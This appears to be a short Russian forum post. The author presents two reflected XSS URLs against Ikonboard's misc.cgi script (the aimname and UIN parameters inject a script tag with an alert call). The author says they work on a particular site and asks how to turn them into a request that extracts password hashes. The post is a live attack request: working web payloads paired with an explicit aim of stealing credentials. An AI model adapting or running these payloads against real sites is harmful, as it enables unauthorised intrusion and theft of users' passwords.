Что можно сделать с этим багом, или как сделать URL запрос, так чтобы были хеши паролей?
Эти exploit's реализуются на том сайте!!!Как мне их переделать?

Exploit'ы:
http://target/cgi-bin/ikonboard/misc.cgi?action=aim&aimname=<script>javascript:ale rt('hello')</script>
http://target/cgi-bin/ikonboard/misc.cgi?action=icq&UIN=<script>javascript:alert(' hello')</script>